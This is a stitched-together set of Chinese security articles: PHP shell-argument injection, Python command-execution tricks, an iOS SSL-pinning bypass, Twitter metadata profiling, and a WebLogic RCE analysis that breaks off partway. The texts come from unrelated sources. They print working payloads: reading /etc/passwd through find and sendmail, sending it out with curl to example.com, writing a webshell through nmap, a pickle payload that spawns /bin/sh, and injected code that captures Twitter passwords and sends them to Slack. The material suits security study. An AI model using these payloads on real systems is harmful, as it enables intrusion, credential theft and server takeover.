由上文可以看出，当存在`escapeshellarg`或`escapeshellcmd`时均不可能执行第二个命令，但仍能传递多个参数给`escapeshellcmd`，漏洞可造成的危害取决于当前程序所拥有的功能
### tar
* 将`some_file`压缩至`/tmp/sth`
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
* 创建`/tmp/exploit`空文件
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
### find
* 在`/tmp`目录下查找`some_file`
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
* 输出`/etc/passwd`的内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
### wget
* 下载`example.php`
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
* 保存`.php`文件至指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
### sendmail
* 将发件人地址设置为`[[email protected]](mailto:[email protected])`并发送`mail.txt`
$from = '[email protected]';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
* 输出`/etc/passwd`的内容
$from = '[email protected] -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
### curl
* 获取`http://example.com`的内容
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
* 将`/etc/passwd`发送到`http://example.com`
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
### mysql
* 执行SQL语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
* 执行`id`命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
### unzip
* 从`archive.zip`中解压所有`.tmp`文件至`/tmp`目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
* 从`archive.zip`中解压所有`.tmp`文件至`/var/www/html`目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
### 若未设置`LANG`环境变量则跳过非ASCII字符
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
### 使用`.bat`执行命令
* 列出`somedir`中的文件
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
* 同时执行`whoami`命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
可参阅：[如何在Windows上传递参数至新进程](http://daviddeley.com/autohotkey/parameters/parameters.htm#WINPASS)
### 结合`escapeshellcmd`与`escapeshellarg`
#### 此时可以向函数传递第二个参数
* 列出`/tmp`中的文件并忽略`sth`
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
* 使用长列表模式输出`/tmp`中的文件并忽略`sth`
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
## GitList
GitList
0.6的[源代码](https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322)中，存在参数注入导致的远程命令执行
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
}
上述代码可简化为：
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
由[git-grep文档](https://git-scm.com/docs/git-grep)可知，`--open-files-in-pager`类似于`find`命令的`-exec`
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
### 修复方案
p神曾经分析过，漏洞最佳解决方案为将`$query`作为`-e`参数的值，即`git grep -i --line-number -e '--open-files-in-pager=id;' master`，不过gitlist采取了另外一种措施：
//将`-`替换后在`$query`前加上`--`
<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = preg_replace('/(--?[A-Za-z0-9-]+)/', '', $query);
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
## PHPMailer
PHPMailer的[源代码](https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c)中，存在参数注入导致的远程命令执行
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}
if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
上述代码可简化为：
<?php
$param = "172.17.0.2" -v -d a=1";
$ep = escapeshellarg($param);
$eep = escapeshellcmd($ep);
$cmd = "curl " . $eep;
system($cmd);
当两个函数以`->escapeshellarg->escapeshellcmd->`的顺序配合使用时，则会存在参数注入。`a'(
-OQueueDirectory=/tmp -X/var/www/html/x.php )[@a](https://github.com/a
"@a").com`最终变成了`'-fa'\''( -OQueueDirectory=/tmp -X/var/www/html/test.php
)[@a](https://github.com/a
"@a").com'`，但若将其顺序调换则不会出现此问题，即`->escapeshellcmd->escapeshellarg->`
## Nmap命令执行
* 一道Web安全测试南京总决赛时的CTF题
<?php
include("flag.php");
if(!isset($_GET['host'])){
highlight_file(__FILE__);
}else{
$host =(string)$_GET['host'];
$host=escapeshellarg($host);
$host=escapeshellcmd($host);
$sandbox = md5("box".$_SERVER['REMOTE_ADDR']);
echo "you are in sandbox: ".$sandbox."<br/>";
@mkdir($sandbox);
chdir($sandbox);
echo "<pre>";
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
echo "</pre>";
}
?>
因为输入流先进`escapeshellarg`函数，再进`escapeshellcmd`函数，所以存在参数注入。随后可利用nmap的`-oN`参数将Webshell写入沙盒文件夹。
### 逃逸单引号
Payload：`?host=' <?php phpinfo();?> -oN shell.php '`
## 参考资料
[参考资料0](https://paper.seebug.org/164/)，[参考资料1](https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html#gitlist-rce-exploit)，[参考资料2](https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html) | 社区文章 |
# python 执行系统命令的多种方式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本片文章总结下在python 的环境下的执行系统命令的方式，本文Python版本为2.7，Python3
不是很熟，因为很多好的工具都是基于Python2的，比如Impacket，Empire(flask)，所以我也很少用Python3
写东西。如果对Python3熟练的同学，可以对本文的涉及到的东西进行相应的变换，大家还有什么更多的方式可以留言交流。
## 0x01 python function
* `exec('import os ;os.system("ls")')`
先说下exec函数，从[文档](https://docs.python.org/2/reference/simple_stmts.html#exec)
可以知道，参数是UTF-8,Latin字符串，打开的File对象，以及代码对象或者Tuple。字符串类型会被解析为Python
代码然后执行，代码对象就是直接执行，File对象根据EOF来解析，然后执行代码，Tuple对象可以去查看文档中所说的情形。
* `eval('__import__("os").system("ls")')`
Eval函数，从[文档](https://docs.python.org/2/library/functions.html?highlight=eval#eval)中的定义为:`eval(expression[,
globals[, locals]])`
，第一个表达式参数是String类型，globals必须是字典类型，在没有globals和locals参数时，就会执行表达式。如果缺少`__builtin__`
库时，会在执行表达式之前把当前指定的 globals
复制到全局的globals。但是Eval也是可以执行代码对象的。比如`eval(compile('print "hello world"',
'<stdin>', 'exec'))` ，在用到exec作为参数时函数会返回`None` 。
这个[例子](http://www.freebuf.com/articles/web/136180.html)：读取文件，把参数加入到globals对象中。
def from_pyfile(self, filename, silent=False):
filename = os.path.join(self.root_path, filename)
d = imp.new_module('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
* `system('ls')`
* `subprocess.Popen('ls')`
* `os.popen('ls')`
## 0x02 python lib
Python 都是通过引入不同的库，来执行其中的函数。关于Import
的各种方式，可以看看[这里](https://xz.aliyun.com/t/52#toc-9)的总结。我这里直接列出Payload:
>>> [].__class__
<type 'list'>
>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__base__.__subclasses__
<built-in method __subclasses__ of type object at 0x55a9f3d5cb80>
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> [].__class__.__base__.__subclasses__()[40]
<type 'file'>
>>> [].__class__.__base__.__subclasses__()[40]('/etc/hosts','r').read()
'127.0.0.1tlocalhostn127.0.1.1tdebiannn# The following lines are desirable for IPv6 capable hostsn::1 localhost ip6-localhost ip6-loopbacknff02::1 ip6-allnodesnff02::2 ip6-allroutersn'
`[].__class__.__base__.__subclasses__()[40]('/etc/hosts','r').read()`通过调用File函数来读取或者写文件。
`"".__class__.__mro__[-1].__subclasses__()[40]('/etc/hosts').read()`
遍历是否有catch_warnings，在导入linecache时会在导入os模块：
>>> g_warnings = [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "catch_warnings"][0].__repr__.im_func.func_globals
>>> print g_warnings["linecache"].os
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> print g_warnings["linecache"].os.system('id')
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),116(scanner)
`__import__("pbzznaqf".decode('rot_13')).getoutput('id')` 或者 `import
importlib;importlib.import_module("pbzznaqf".decode('rot_13')).getoutput('id')`
对于前面这些所使用的函数都是来自于`__builtin__` ，如果被删除了就使用`reload(__builtin__)`
和`import imp;imp.reload(__builtin__)`
`__builtin__.eval('__import__("os").system("ls")')` 执行命令
在sys.modules中os模块不存在的时候，因为python导入库，其实就是执行一遍代码，所以`if __name__ =='__main__'`
就是为了防止在引入的时候，执行其中的代码。所以我们可以给Sys.module添加一个新module：
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
execfile() 利用OS文件来执行命令：
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
getattr函数，要先引入OS模块：
import os;getattr(os,'system')('id')
## 0x03 其他
利用Pickle.load来执行命令：
>>> import pickle;pickle.load(open('cmd'))
$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth),116(scanner)
$ pwd
/tmp
$ cat cmd
cos
system
(S'/bin/sh'
tR.
解释下cmd文件，
第一行c就是读取这一行作为module引入，读取下一行作为module中的object，所以就变成了os.system。
第三行`(` 与第四行`t`组成元组，`S` 读取这一行的字符串，`R`把元组作为参数带入到上一个对象中执行。`.`表示pickle结束。
我们os模块的引用放入到函数中，并且利用marshal来序列化及进行编码。这里的`__code__`也是在上一篇节引用文章有提过的`func_code`
import marshal
import base64
def foo():
import os
os.system('/bin/sh')
print base64.b64encode(marshal.dumps(foo.__code__))
#output
YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////9zBwAAAC9iaW4vc2goAgAAAHQCAAAAb3N0BgAAAHN5c3RlbSgBAAAAUgAAAAAoAAAAACgAAAAAcwUAAABzcy5weXQDAAAAZm9vAwAAAHMEAAAAAAEMAQ==
要执行其中的`foo()`的话，先解码，然后加载函数：
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
其中引入了types，marshal，base64，globals，globals可以通过`__builtin__.globals`
来调用这个函数，所以根据Pickle的格式要求，我们的Pickle的文件内容应该是这样：
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////9zBwAAAC9iaW4vc2goAgAAAHQCAAAAb3N0BgAAAHN5c3RlbSgBAAAAUgAAAAAoAAAAACgAAAAAcwUAAABzcy5weXQDAAAAZm9vAwAAAHMEAAAAAAEMAQ=='
tR #base64 结束
tR #marshal 结束
c__builtin__
globals
(tR #globals 结束
S''
tR # '' 空字符
(tR. #调用函数
所有这些执行命令的方式基本都是靠引用其他库，间接引用OS库，来执行命令或者读文件之类的。 | 社区文章 |
# 如何编写Swift代码拦截SSL Pinning的HTTPS请求
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
如果想检查iOS
Apps中的HTTPS请求，最常用的方法就是中间人（MITM）攻击。这种技术需要使用某台主机作为代理服务器，为客户端提供服务。为了保证攻击成功，客户端需要将代理服务器的证书安装到设备的全局信任存储区中。这样处理后，客户端就会将证书添加到白名单中，允许与代理服务器之间的HTTPS通信。
如下图所示，我们可以通过[mitmproxy](https://mitmproxy.org/)来查看CNN这款iOS应用的流量。在查看流量之前，我已经将代理服务器的证书安装到设备上，大家可以参考[mitmproxy](https://docs.mitmproxy.org/stable/concepts-certificates/)官网了解具体操作步骤。
## 二、SSL证书Pinning
如果想保护应用免受MITM攻击影响，一种方法就是使用SSL校验证书绑定（SSL certificate
pinning）。此时受信服务器的证书副本会打包到iOS应用中，还有一些附加代码可以确保应用只与使用特定证书的服务器通信。当SSL证书绑定处于激活状态时，应用不会将任何请求发送到不受信任的任何服务器上。因此，MITM代理服务器无法提取这些请求数据，因为此时请求并没有通过足够安全的网络通道来发送。
Twitter
iOS应用采用了SSL证书绑定这种安全机制，适用于发往[https://api.twitter.com](https://api.twitter.com./)的请求，因此类似[mitmproxy](https://mitmproxy.org/)以及[Charles
Proxy](https://www.charlesproxy.com/)之类的MITM工具无法查看与Twitter api有关的任何请求。
有一种方法可以绕过SSL证书绑定，那就是在具体请求通过受保护的HTTPS通道发送之前，尝试拦截这个请求。这种技术需要我们将代码植入到应用中，这样就能直接访问我们要查看的`URLRequest`对象。因此我们可以先来看一下Apple的URL加载系统。
## 三、URLProtocol
Apple的URL加载系统会定义不同的URLProtocol来处理不同类型的URL。如果要创建我们自定义的URLProtocol子类，可以采用如下步骤：
1、每个URLProtocol子类最基本的框架如下：
class CustomUrlProtocol: URLProtocol {
open override class func canInit(with request: URLRequest) -> Bool {
//Logic to determine whether this URLProtocol class knows how to handle the request
return true
}
open override class func canonicalRequest(for request: URLRequest) -> URLRequest {
return request
}
override func startLoading() {
//Implementation logic to process the request
}
override func stopLoading() {}
}
2、使用加载系统注册新的URLProtocol子类。
URLProtocol.registerClass(CustomUrlProtocol.self)
3、在`canInit`函数中添加自定义的记录函数。
class CustormUrlProtocol: URLProtocol {
var connection: NSURLConnection?
var response: URLResponse?
var data: NSMutableData?
static var requestCount = 0
open override class func canInit(with request: URLRequest) -> Bool {
guard let url = request.url, let scheme = url.scheme else {
return false
}
guard ["http", "https"].contains(scheme) else {
return false
}
if let _ = URLProtocol.property(forKey: "CustormUrlProtocol", in: request) {
return false
}
if NetworkInterceptor.shared.shouldIgnoreLogging(url: url){
return false
}
requestCount = requestCount + 1
NSLog("Request #(requestCount): CURL => (request.cURL)")
NetworkInterceptor.shared.logRequest(urlRequest: request)
return false
}
}
我们将以cURL命令格式，将URLRequest实例按照字符串表示方式输出到控制台以及Slack通道中（参考第28行代码）。
## 四、技术点汇总
因此，为了查看所有的网络请求，我们需要执行如下步骤：
1、创建一个新的Xcode Dynamic
Framework工程，可以参考Github上[源码](https://github.com/depoon/NetworkInterceptor)。
2、创建自定义的URLProtocol，比如CustormUrlProtocol。添加自定义代码以生成cURL命令字符串。此外我们还可以将cURL字符串打印到设备控制台，或者发送到Slack通道上（参考[此处](https://github.com/depoon/NetworkInterceptor/blob/master/NetworkInterceptor/Source/RequestInterceptor/CustomUrlProtocolRequestInterceptor.swift#L51-L155)代码）。
3、将新的URLProtocol子类注册到加载系统中，调整方法以确保我们的协议类能先于任何已有的Apple协议类执行（参考[此处](https://github.com/depoon/NetworkInterceptor/blob/master/NetworkInterceptor/Source/RequestInterceptor/CustomUrlProtocolRequestInterceptor.swift#L11-L49)代码）。
4、在工程中创建一个Slack通道请求记录类（参考[此处](https://github.com/depoon/NetworkInterceptor/blob/master/NetworkInterceptor/Source/RequestLogger/SlackRequestLogger.swift)代码）。
5、编译整个框架。
6、我们可以将该框架拖拽到其他Xcode工程中，开始使用我们新增的功能。记得检查控制台以及slack通道中的cURL命令。
7、对于iOS设备的`.ipa`文件，我们需要将该框架（匹配iphone架构）注入到ipa文件中。
## 五、代码注入
大家可以参考我前面发表的<a
href=”https://medium.com/[@kennethpoon](https://github.com/kennethpoon
"@kennethpoon")/how-to-perform-ios-code-injection-on-ipa-files-1ba91d9438db”>文章了解Dynamic Library框架代码注入技术，好消息是我们不需要越狱就能完成这个任务。
需要注意的是，我们的确无法对AppStore上的iOS应用执行代码注入，因为这些应用受到数字版权管理（DRM）保护。幸运的是，我们可以在[这个网站](https://www.iphonecake.com)上找到被破解的AppStore应用。然而，由于我们并不知道这些破解应用有没有被篡改过，是否添加了恶意代码，因此需要自己承担风险。
## 六、Tinder API请求
当我将动态框架应用于Tinder iOS应用时，我可以看到一些请求数据，如下图所示：
现在比如说我不喜欢某人的Tinder账户，那么也能看到“Pass”掉某人的Api请求。
此外，我们还可以注意到Tinder也会往Facebook
Api上发送请求，如下图所示。这是因为Tinder应用中也集成了FacebookSDK，用到了登录之类的功能。
遗憾的是，Tinder应用上并没有启用SSL证书绑定，任何人都可以使用MITM工具来检查所有请求。因此我们来找一下另一款应用。
## 七、Twitter API请求
前文提到过，由于SSL证书绑定机制，因此MITM工具无法查看针对[api.twitter.com](https://api.twitter.com/)的任何请求数据。尝试登录Twitter时，应用会抛出认证错误信息，不允许相关请求通过网络发送给服务端。
将我们的框架注入并禁用代理后，我们可以观察到“/auth/1/xauth_password.json
”这个api请求，请求参数中包含我们的ID以及密码值（可以观察Slack通道第二条消息中的最后一行）。
同时还需要注意到，成功登录Twitter后，应用就会崩溃，因为应用检测到我正在使用自己的开发配置信息来签名这个应用，而应用的签名与KeyChain的安全性有冲突。这个问题解决起来并不麻烦，但为了节省文章篇幅，这里我不会去介绍如何具体解决这个特定问题。
## 八、相关演讲
2018年5月30日，我在新加坡举办的iOS Dev Scout
Meetup会议上作了一次[演讲](https://engineers.sg/video/intercepting-network-requests-ios-dev-scout--2639)，会上我演示了即使在SSL pinning处于激活状态，我也能探测Twitter应用的HTTPS请求。
大家可以参考Github上的[NetworkInterceptor](https://github.com/depoon/NetworkInterceptor)以及[iOSDylibInjectionDemo](https://github.com/depoon/iOSDylibInjectionDemo)代码。
## 九、总结
希望本文对大家有所帮助。大家可以尝试相关代码，观察自己最喜欢的iOS应用的请求。如果实验成功或者遇到什么问题，欢迎大家通过[[email protected]](mailto:[email protected])邮箱联系我。 | 社区文章 |
# 【技术分享】利用Twitter元数据挖掘别人的隐私，可查看特朗普账户信息（含下载链接）
|
##### 译文声明
本文是翻译文章，文章来源：嘶吼
原文地址：<http://www.4hou.com/info/news/3268.html>
译文仅供参考，具体内容表达以及含义原文为准。
作为一名网络安全顾问，我每天都会使用Twitter，毕竟它是我迄今为止获得最新安全资讯和分享相关信息给他人的最佳工具之一。
随着最近唐纳德·特朗普就职总统，新发表的Twitter和创建的Twitter抗议群体的账户不断增多，我决定在不利用黑客技术的前提下演示如何轻松的从别人的帐户中获取正在泄露账户主人相关的信息。
**元数据**
像任何其他社交媒体网站一样Twitter实际上知道关于你的很多事情，这要感谢一下“元数据”这个东西。
事实上，只需要140个字符的消息，你就可以获得大量的元数据，超过你输入的初始内容大小的20倍！ 那么接下来，你猜怎么着？
几乎所有的这些元数据都可以通过开放的Twitter API进行访问。
这里有一些可以被任何人（不只是政府）用来“甄别”和跟踪某人的几个例子：
Twitter上设置的时区和语言
在发表的推文中检测到的语言
使用的来源（移动应用程序，网络浏览器，…）
地理位置
最常用的主题标签，大多数转贴的用户等。
日常/周期性的活动
每个人都应该知道地理位置泄漏的危害，以及它可能会如何暴露个人隐私等等。 但很少有人意识到，只是一个很正常的推文就可以告诉我关于你的很多习惯。
拆分单个推文可能会显示更多有趣的元数据。拿几千个推文来看吧，你可以看到一些匹配模式。这里就是乐趣开始的地方。
**Meta-metadata**
收集关于某人的足够多的推文，例如我们可以区分“企业”帐户（一般只在工作时间使用），甚至尝试去猜猜有多少用户对该帐户比较感兴趣。
为了证明我的观点，我开发了一个python脚本，它会检索关于某人的所有最新的推文，并抓取元数据，并能计算在某一个星期内每小时以及每天的活动情况。
**分析爱德华斯诺登的Twitter账户 （@Snowden）**
Snowden于2015年9月发布了1682条推文。我们可以很轻松确定他的睡眠时间，如下所示（莫斯科时区）。
**分析唐纳德·特朗普的Twitter帐户 （@realdonaldtrump）**
唐纳德·特朗普的帐户是由多人在管理吗？ 看看检测到的源的数量，你来猜猜实际情况…
**一般性建议**
我强烈建议您阅读grugq发表的[Twitter安全指南](https://medium.com/@thegrugq/twitter-activist-security-7c806bae9cb0#.rdsjx78ye)。
除了这个指南之外，我建议你谨慎使用时区/语言，另外，你还要注意你的推文可以作为一个整体进行分析：如果不想让别人猜测到你的时区，就不要在同一时间发推。当然，前提是你想在Twitter上保持匿名，不过不要将这些原则应用到你的Twitter大号上（毕竟这个比较浪费时间）！
**源代码**
我把我的脚本放在了[Github](https://github.com/x0rz/tweets_analyzer)上，完全开源，请随意使用。
<https://github.com/x0rz/tweets_analyzer> | 社区文章 |
**作者：Lucifaer
原文链接：<https://lucifaer.com/2020/11/25/WebLogic one GET request
RCE分析（CVE-2020-14882+CVE-2020-14883）/>**
### 0x01 漏洞概述
Weblogic官方在10月补丁中修复了`CVE-2020-14882`及`CVE-2020-14883`两个漏洞，这两个漏洞都位于`Weblogic
Console`及控制台组件中，两个漏洞组合利用允许远程攻击者通过`http`进行网络请求，从而攻击Weblogic服务器，最终远程攻击者可以利用该漏洞在未授权的情况下完全接管Weblogic服务器。
在经过diff后，可以定位到漏洞触发点：
CVE-2020-14883:`com.bea.console.handles.HandleFactory`
CVE-2020-14882:`com.bea.console.utils.MBeanUtilsInitSingleFileServlet`
这里先把结论放出来：
* CVE-2020-14882：这个漏洞起到的作用可以简单理解为目录穿越使`Netuix`渲染后台页面
* CVE-2020-14883：为登录后的一处代码执行点
### 0x02 漏洞分析
该漏洞分为三部分：
* 路由鉴权
* Netuix框架完成执行流转换
* HandleFactory完成代码执行
前两部分为`CVE-2020-14882`，后面一部分为`CVE-2020-14883`。本文将从上而下将三部分进行串流分析，主要采用动态跟踪。
#### 2.1 路由鉴权
在具体分析路由鉴权前，需要先要寻找一下处理路由的servlet是哪个。
##### 2.1.1 寻找处理路由的servlet
Weblogic`console`组件对应着Weblogic
Server启动后的管理平台（即`/console`路由所对应的组件），其对应着一个`webapp`，所以想要理清路由所对应的`servlet`映射关系，就需要去看一下相关的配置文件。配置文件为`wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml`。
正常登录后的路由情况为：
会访问一个`console.portal`文件，对应在`web.xml`中看一下相关的路由处理情况：
可以看到对应的`servlet`为`AppManagerServlet`：
所以先在`AppManagerServlet`下断调试一下路径鉴权或者说是权限鉴定的流程。
跟进一下初始化流程：
weblogic.servlet.AsyncInitServlet#init ->
weblogic.servlet.AsyncInitServlet#initDelegate ->
weblogic.servlet.AsyncInitServlet#createDelegate
这里的`this.SERVLET_CLASS_NAME`也就是xml中的：
所以初始化过程实际上是实例化了`com.bea.console.utils.MBeanUtilsInitSingleFileServlet`，并调用其`init()`方法，跟进看一下其所对应的处理方法：
注意红框所标识的内容，oracle针对`CVE-2020-14882`的修补也是在这里针对`url`加了一个黑名单，并过了一遍黑名单：
继续跟进父类`SingleFileServlet`的`server`中：
在完成`AppContext`初始化后，即进入真的处理请求的`UIServlet`：
在此处完成后续的请求处理。
##### 2.1.2 路由映射及路由权限校验
在这里我们先不向后跟进，在此处下个断点向上跟踪一下，看一下Weblogic路由映射及路由鉴权在哪里触发。调用栈如下：
可以看到在`weblogic.servlet.internal.WebAppServletContext`中完成的权限校验。跟进具体看一下：
在`weblogic.servlet.internal.WebAppServletContext#doSecuredExecute`方法的流程中会调用`checkAccess`方法来进行权限校验，跟进看一下：
当首次请求进入后`checkAllResources`变量为`false`，所以跟进`getConstraint`方法：
这里的`constraintsMap`中保存着一份路由表：
这份路由表对应的是`web.xml`中的`security-constraint`：
注意在针对`/`的路由处理是限定了需要经过认证的，而针对：
* `/images/*`
* `/common/*`
* `/css/*`
路径的访问是没有认证约束的。对应到代码中，就是说当访问的路由符合该路由映射表中的情况时，将根据配置设置`rcForAllMethods`变量，也就是最终返回的`resourceConstraint`:
这里的`unrestricted`变量代表该路由是否为非受限路由，在后续鉴权时该变量会起关键性作用。当请求的路由是路由表中的路由时，该变量都为`true`。当完成`resourceConstraint`设置后，就会进入`isAuthorized`方法进行权限鉴定：
这里将执行流转换到`CertSecurityModule#checkUserPerm`方法中：
首先会根据`session`来确定是否需要重新登录，之后会判断是否为指定路由，如果是未指定的路由，则保护资源，由于我们这里访问的路由为`/css`，在指定的路由表中，所以这里是`false`。重点看`hasPermission`方法，这里会用到`resourceConstraint`中的`unrestricted`：
这里首先会判断当前的账户是否为Admin账户，当前应用是否为内部引用等，若都不满足，则会判断是否设置了`完整安全路由`选项，这里是`false`。接下来会判断该路由是否为非受限的路由，如果是，则返回true。由于我们根据路由表返回设置的`unrestricted`变量为`true`，即为非受限的路由，所以这样就通过了路由鉴权，导致了未授权访问相关资源。
##### 2.1.3 请求分派
当完成了路由鉴权后，会根据`web.xml`中的设置，将访问的路由映射到相应的servlet进行请求处理：
因为我们后续的流程在`UIServlet`中进行，所以可以用于绕过路由鉴权的路由即为：
* `/css/*`
* `/images/*`
当`checkAccess`方法返回为`true`后，会根据配置返回对应的servlet并调用`service`方法。
首先会初始化`ServletInvocationAction`对象：
从`subject.run(action)`一路向下跟，在`weblogic.security.acl.internal.AuthenticatedSubject#doAs`中调用`action`的`run`方法，即跟进`ServletInvocationAction#run`：
在调用`execute`方法前，会首先判断是否存在拦截器及请求监听器，若存在则执行对应的拦截器执行链，否则执行`stub.execute()`方法。跟进`stub.execute()`方法，即`weblogic.servlet.internal.ServletStubImpl#execute`：
这里会调用`getServlet()`方法返回对应的`servlet`：
##### 2.1.3 总结
从上面的分析可知，想要访问非受限的资源，就需要构造符合路由表中的路由。从此我们也可以看出这里并非一个权限绕过操作，而是一个正常的访问非受限资源（如css文件这类资源）的操作，想要搞清楚为什么能因此而触发一个登陆后代码执行操作，就需要跟进`UIServlet`的具体处理流程中。
#### 2.2 Netuix框架完成执行流转换
`weblogic.servlet.AsyncInitServlet`为处理`Netuix`相关请求的`servlet`，根据2.1.1中的分析，我们可以知道其真实的处理逻辑是在`com.bea.netuix.servlets.manager.UIServlet`中完成的：
对于`UIServlet`来说，处理GET请求的逻辑最终也会在`doPost`方法中。上图红框中所标明的两处即为`UIServlet`的核心功能：
* 建立`UIContext`，或者说是通过解析`.portal`文件建立渲染模板的上下文
* 完成模板渲染的生命周期
接下来也会以这两点为核心具体叙述Netuix框架是如何完成执行流的转换的。
##### 2.2.1 建立UIContext
建立`UIContext`的主要流程在`createUIContext`方法中：
红框所标注的两行为关键流程。首先跟进`UIContextFactory.createUIContext`，这里主要完成了`UIContext`的初始化：
在执行`setServletRequest`方法时，会根据请求的参数对`postback`成员变量进行设置：
可以看到：
* 请求类型为POST请求，会将`postback`设置为`true`
* 存在`_nfpb`参数的GET请求，会根据参数的值设置`postback`的值
